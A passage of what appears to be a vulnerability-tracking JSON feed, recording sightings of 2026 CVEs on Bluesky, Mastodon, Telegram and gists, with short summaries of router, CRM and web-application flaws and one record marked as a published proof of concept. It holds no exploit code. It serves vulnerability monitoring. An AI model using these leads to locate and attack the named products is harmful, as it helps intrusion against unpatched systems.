"https://bsky.app/profile/ulisesgascon.com/post/3mhqadbkbw22i", "content": "", "creation_timestamp": "2026-03-23T14:08:43.281450Z"}, {"uuid": "e344db69-3183-4df3-811e-73d64e609861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3635", "type": "seen", "source": "https://bsky.app/profile/ulisesgascon.com/post/3mhqahaep2k2i", "content": "", "creation_timestamp": "2026-03-23T14:10:58.943323Z"}, {"uuid": "79f60ee1-a5cf-452c-b334-0264533c7598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3657", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgv6x2i3kg2u", "content": "", "creation_timestamp": "2026-03-12T20:02:07.472705Z"}, {"uuid": "b24d77eb-40ea-44dc-b9ca-cb55109685a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3657", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgv7qauin225", "content": "", "creation_timestamp": "2026-03-12T20:16:12.651658Z"}, {"uuid": "4eb0a2ee-2e36-4bef-9d9a-ebb45f47e320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3644", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mij5u4frkn22", "content": "", "creation_timestamp": "2026-04-02T12:01:00.123495Z"}, {"uuid": "c76a46df-aee7-4420-ab93-e5d903726de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3692", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mijg73ztsh27", "content": "", "creation_timestamp": "2026-04-02T14:30:18.933837Z"}, {"uuid": "3cf68725-af68-4e8b-80ca-5cd8bc448166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3666", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mipgyrs7me2a", "content": "", "creation_timestamp": "2026-04-05T00:00:39.378531Z"}, {"uuid": "73372bce-0bc1-465c-8bf8-eb519828c2d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3666", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116349156511822989", "content": "", "creation_timestamp": "2026-04-05T00:00:46.340742Z"}, {"uuid": "605a72d7-182d-48a2-ac9d-aa11d3e38eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3666", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mipr3geork2d", "content": "", "creation_timestamp": "2026-04-05T03:01:05.473438Z"}, {"uuid": "beb81ba4-695d-4367-b3c1-22aed2b76022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3666", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mipr3yoplc27", "content": "", "creation_timestamp": "2026-04-05T03:01:24.905401Z"}, {"uuid": "26bcb915-1ec2-40b1-a30b-37fe17392e28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3600", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mixreahevc2z", "content": "", "creation_timestamp": "2026-04-08T07:27:18.829329Z"}, {"uuid": "b77c2883-b6ba-46b6-aab5-4eb260429ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3646", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mixshoskua24", "content": "", "creation_timestamp": "2026-04-08T07:47:08.210418Z"}, {"uuid": "b03ede84-6e6d-4fa8-8629-bf453066b3d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3666", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj6s5kykxp2q", "content": "", "creation_timestamp": "2026-04-11T02:30:07.101607Z"}, {"uuid": "31b1ce50-5c2c-475d-88b0-12ce7be119fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36922", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf426bdtl2r", "content": "", "creation_timestamp": "2026-04-13T14:43:08.792899Z"}, {"uuid": "31fc4448-a946-4116-b9be-0d62c453325c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36873", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf46d5usm23", "content": "", "creation_timestamp": "2026-04-13T14:45:27.963358Z"}, {"uuid": "7bc77546-bb4d-48f0-85af-827492f5e161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36919", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf4cspvlu23", "content": "", "creation_timestamp": "2026-04-13T14:47:58.690688Z"}, {"uuid": "053e0e83-fe6e-40cf-b518-367d767ca8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36874", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf4n3heli2m", "content": "", "creation_timestamp": "2026-04-13T14:53:43.197083Z"}, {"uuid": "beab9fd8-395a-4738-a0ec-a7ecd102a47a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36920", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf4t2z2zw23", "content": "", "creation_timestamp": "2026-04-13T14:57:06.756022Z"}, {"uuid": "a325596d-d1e5-4fac-8b64-14855a438ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36923", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf4ztv33x2a", "content": "", "creation_timestamp": "2026-04-13T15:00:51.594968Z"}, {"uuid": "69276def-c631-4aee-ab1b-203dd9e6576c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36044", "type": "seen", "source": "https://gist.github.com/NucleiAv/47e87da08b90ef464fd9b35affe578fb", "content": "", "creation_timestamp": "2026-04-13T15:03:22.000000Z"}, {"uuid": "ace6a13c-a968-47e7-8bbe-ed77f7fed784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36872", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf5bjmcxn2o", "content": "", "creation_timestamp": "2026-04-13T15:05:09.179880Z"}, {"uuid": "ab1be642-cadd-4fbc-9ee8-b38d747b2b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36045", "type": "seen", "source": "https://gist.github.com/NucleiAv/41899be6266a9813840301577792ed68", "content": "", "creation_timestamp": "2026-04-13T15:43:06.000000Z"}, {"uuid": "24632eb0-449a-4498-8f8a-b4106ecc2cfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36942", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfhlualfs2z", "content": "", "creation_timestamp": "2026-04-13T18:09:53.709298Z"}, {"uuid": "edbe8718-078c-443e-be68-84572c251349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36941", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfhp7vmkr2t", "content": "", "creation_timestamp": "2026-04-13T18:11:46.128336Z"}, {"uuid": "47b69683-1edd-49fc-b262-af2facbf968b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36945", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfhsspjxi2m", "content": "", "creation_timestamp": "2026-04-13T18:13:46.457852Z"}, {"uuid": "81d0fb13-2b66-422e-b8e3-09d962217e4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36943", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfhwnnqom2z", "content": "", "creation_timestamp": "2026-04-13T18:15:55.622731Z"}, {"uuid": "0e7c7ba3-3a8e-4eb9-a324-345f5806ac07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36944", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfie5xq5r2r", "content": "", "creation_timestamp": "2026-04-13T18:23:28.939699Z"}, {"uuid": "608f9a20-3c3f-4958-81c2-d93e8997a323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3614", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjmikkstid2l", "content": "", "creation_timestamp": "2026-04-16T13:15:43.069968Z"}, {"uuid": "237aa8af-6078-4807-8096-388ac685fcdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3605", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjobjwdjez22", "content": "", "creation_timestamp": "2026-04-17T06:15:25.132133Z"}, {"uuid": "23609dd6-64d9-436b-9697-f26b0268ec35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3644", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mjouut7dh22l", "content": "", "creation_timestamp": "2026-04-17T12:01:31.097978Z"}, {"uuid": "85226daf-875a-4028-bb38-6857bdc61bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3605", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjoy6jllz52r", "content": "", "creation_timestamp": "2026-04-17T13:00:37.886630Z"}, {"uuid": "b9d03e5f-c350-44d1-b454-061bba4055bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3614", "type": "seen", "source": "https://bsky.app/profile/mysites.guru/post/3mjpm4c6gpg2f", "content": "", "creation_timestamp": "2026-04-17T18:57:18.094319Z"}, {"uuid": "bad1899c-b22e-47c1-baf4-9bafe4d6b9fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3614", "type": "seen", "source": "https://bsky.app/profile/mysites.guru/post/3mjx5nuv25d2w", "content": "", "creation_timestamp": "2026-04-20T18:59:59.566319Z"}, {"uuid": "a7bd7cc9-57b2-4442-a0df-d57f292c108e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3621", "type": "seen", "source": "https://bsky.app/profile/knaepp.bsky.social/post/3mk45r4gkra26", "content": "", "creation_timestamp": "2026-04-22T18:45:06.612380Z"}, {"uuid": "a13ce3be-8cea-4b52-a56b-7f739838c3fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3673", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mk4d6n7m3e2r", "content": "", "creation_timestamp": "2026-04-22T20:22:08.941146Z"}, {"uuid": "f0f33c1c-f0d5-459e-a8b7-58d2820c39aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mk4gzf6o4k24", "content": "", "creation_timestamp": "2026-04-22T21:30:50.573190Z"}, {"uuid": "541a03c5-526d-4ebc-978a-30c508af0318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3614", "type": "seen", "source": "Telegram/ka552-TMPwwDPQ6XXmIg_m-zQPf0bUpWlq22rsZhpiQLQFI", "content": "", "creation_timestamp": "2026-04-16T07:16:22.000000Z"}, {"uuid": "a120f1aa-3e00-4f33-b9c3-95a1e715ccec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3605", "type": "seen", "source": "Telegram/ZsD0WH1x-fGDClxVyGq1OwOyswCrVsbtDHfPHjSJRDr2T4Y", "content": "", "creation_timestamp": "2026-04-17T05:15:31.000000Z"}, {"uuid": "aad90fad-9cfb-4e72-9643-4afb3430f580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3690", "type": "published-proof-of-concept", "source": "Telegram/jQJESTxAnDJkcV3IOr4zcsYk9e3AhwwItG0ad6oUuWk-UR8", "content": "", "creation_timestamp": "2026-04-11T03:21:08.000000Z"}, {"uuid": "171aad69-ddce-4d88-be70-290890168af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3622", "type": "seen", "source": "Telegram/8zEAgaRSdVOPVh8YiiaVjapuYDuCzrad_OizJ-8M58UocKc", "content": "", "creation_timestamp": "2026-03-26T23:20:03.000000Z"}, {"uuid": "c2ca8381-c890-4112-8344-65e7fcc8d689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3650", "type": "seen", "source": "Telegram/jxEelE5YQIva3R3hkn6lv-_ITU5UuBT3ODsw8JQI8o6Btes", "content": "", "creation_timestamp": "2026-03-26T23:20:23.000000Z"}, {"uuid": "7262385c-f9fb-482b-8031-49f2ca261875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3692", "type": "seen", "source": "Telegram/c85hrsWNyFY_wFes4s7T57trjOQm7U5y5MEbFlOtoT8A7NA", "content": "", "creation_timestamp": "2026-04-02T15:21:36.000000Z"}, {"uuid": "aebcbe64-de9d-47d1-ae56-691376d31829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3666", "type": "seen", "source": "Telegram/8qeZbiU7PLPcFV_4oPUIOuW2hk5ZEK8QzaRsPtyu7yDSJHM", "content": "", "creation_timestamp": "2026-04-04T13:15:35.000000Z"}, {"uuid": "f4519a45-7b52-4443-a200-c889e5f2dd24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3605", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkdtqkixvi2h", "content": "", "creation_timestamp": "2026-04-25T20:07:08.906138Z"}, {"uuid": "f040be26-3151-490c-a021-7f560d11627b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3614", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mkhceuvcq62f", "content": "", "creation_timestamp": "2026-04-27T05:07:01.773316Z"}, {"uuid": "c79d6c8f-404a-4e22-98ce-b113e5d11d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3621", "type": "seen", "source": "Telegram/Y5Qz_cKDCmo7jQNGBLdJ87dzQSi2eRz7Wqhm7Qv2MeY_FXM", "content": "", "creation_timestamp": "2026-04-24T15:21:22.000000Z"}, {"uuid": "a07fbd20-347f-49e5-86d1-5d11538a9b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3643", "type": "seen", "source": "Telegram/xHZW3dnIVlZ81UM5ayk21xAksqc_QlW_sb2BCoesl5IB3eE", "content": "", "creation_timestamp": "2026-04-22T21:20:26.000000Z"}, {"uuid": "49babce7-1efe-49a3-97b1-3f60dba93cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://t.me/GithubRedTeam/96526", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BAS-Guardian\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a spinfosecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 02:59:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T04:00:02.989766Z"}, {"uuid": "067899af-bfc5-47e5-bc59-bcf17a4b353e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36837", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116491675981426045", "content": "The severity is increased for this new vulnerability affecting Totolink A3002RU V3 (CVE-2026-36837) https://vuldb.com/vuln/360164", "creation_timestamp": "2026-04-30T04:05:18.330787Z"}, {"uuid": "7606abda-2c09-439c-b39d-3e31692b1b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36957", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkq35fnbit2e", "content": "CVE-2026-36957 - Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router HTTP URI Handler Denial of Service Vulnerability\nCVE ID : CVE-2026-36957\n \n Published : April 30, 2026, 3:16 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router V1.0....", "creation_timestamp": "2026-04-30T16:51:32.098639Z"}, {"uuid": "f24e8c7f-922b-45fa-b977-d3c1a3005240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36958", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkq3pi2a7l2i", "content": "CVE-2026-36958 - U-SPEED N300 Denial-of-Service Vulnerability\nCVE ID : CVE-2026-36958\n \n Published : April 30, 2026, 3:16 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : A denial-of-service vulnerability exists in the U-SPEED N300 V1.0.0 wireless router. By sending a large numbe...", "creation_timestamp": "2026-04-30T17:01:38.721255Z"}, {"uuid": "d16e2fc7-ba2d-4b6a-9dbf-3a3b07046571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36956", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkq4rz5rue2o", "content": "CVE-2026-36956 - Dbit N300 T1 Pro Wireless Router CSRF Vulnerability\nCVE ID : CVE-2026-36956\n \n Published : April 30, 2026, 3:16 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : A Cross-Site Request Forgery (CSRF) vulnerability exists in the web management interface of the Dbit N...", "creation_timestamp": "2026-04-30T17:20:57.541091Z"}, {"uuid": "a0222cd4-0d79-4e5f-8f29-768be42449a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36959", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkq52xwf6d2p", "content": "CVE-2026-36959 - U-SPEED N300 Router Unauthenticated Brute Force Authentication\nCVE ID : CVE-2026-36959\n \n Published : April 30, 2026, 3:16 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : U-SPEED N300 router V1.0.0 does not implement rate limiting or account lockout protections ...", "creation_timestamp": "2026-04-30T17:25:58.380149Z"}, {"uuid": "e40c876f-b5c1-4909-8ca6-c4276869dc1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36960", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkq62foz5v2n", "content": "\ud83d\udfe0 CVE-2026-36960 - High (8.8)\n\nA Cross-Site Request Forgery (CSRF) vulnerability exists in the web management interface of the U...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36960/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T17:43:33.078317Z"}, {"uuid": "d68d13ab-86dd-4258-a481-37540d01634d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36959", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkq62mg5c72l", "content": "\ud83d\udfe0 CVE-2026-36959 - High (7.5)\n\nU-SPEED N300 router V1.0.0 does not implement rate limiting or account lockout protections on the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36959/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T17:43:40.789835Z"}, {"uuid": "9808325a-df29-4efa-855f-bb1513ad1a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36956", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkq6z6o7td2r", "content": "\ud83d\udfe0 CVE-2026-36956 - High (8.8)\n\nA Cross-Site Request Forgery (CSRF) vulnerability exists in the web management interface of the D...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36956/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T18:00:47.003741Z"}, {"uuid": "3a8b557e-9bfe-4d89-a67f-33fc0d4f67d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36957", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkq6zfex3n2z", "content": "\ud83d\udfe0 CVE-2026-36957 - High (7.5)\n\nDbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router V1.0.0 is vulnerable to Denial of Service via t...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36957/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T18:00:52.998035Z"}, {"uuid": "d8264cf6-cd29-4095-8ac0-f56856fb3076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36958", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkq6zlwnrt2w", "content": "\ud83d\udfe0 CVE-2026-36958 - High (7.5)\n\nA denial-of-service vulnerability exists in the U-SPEED N300 V1.0.0 wireless router. By sending a...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36958/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T18:01:00.649419Z"}, {"uuid": "3d87934a-375b-455c-95b2-714d80d46214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36760", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqewko3au2t", "content": "\ud83d\udd34 CVE-2026-36760 - Critical (9.6)\n\nAn issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authen...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36760/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:46:40.696927Z"}, {"uuid": "6184840d-ab85-483c-b9c2-231432758afe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36767", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqewscpgn2w", "content": "\ud83d\udd34 CVE-2026-36767 - Critical (10)\n\nA path traversal vulnerability in the /content/images/add endpoint of shopizer v3.2.5 allows atta...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36767/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:46:48.772992Z"}, {"uuid": "0581e0ca-db13-4f8e-a598-d252bcf97298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36340", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqex2rpd226", "content": "\ud83d\udfe0 CVE-2026-36340 - High (8.1)\n\nAn issue in Krayin CRM v.2.1.5 and fixed in v.2.1.6 allows a remote attacker to execute arbitrary...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36340/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:46:57.219599Z"}, {"uuid": "158687c5-6cc3-4d50-ad1e-30d73c6b0d6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36760", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqexdt5sx2c", "content": "\ud83d\udd34 CVE-2026-36760 - Critical (9.6)\n\nAn issue in the fileMd5 parameter in the /a/file/upload endpoint of 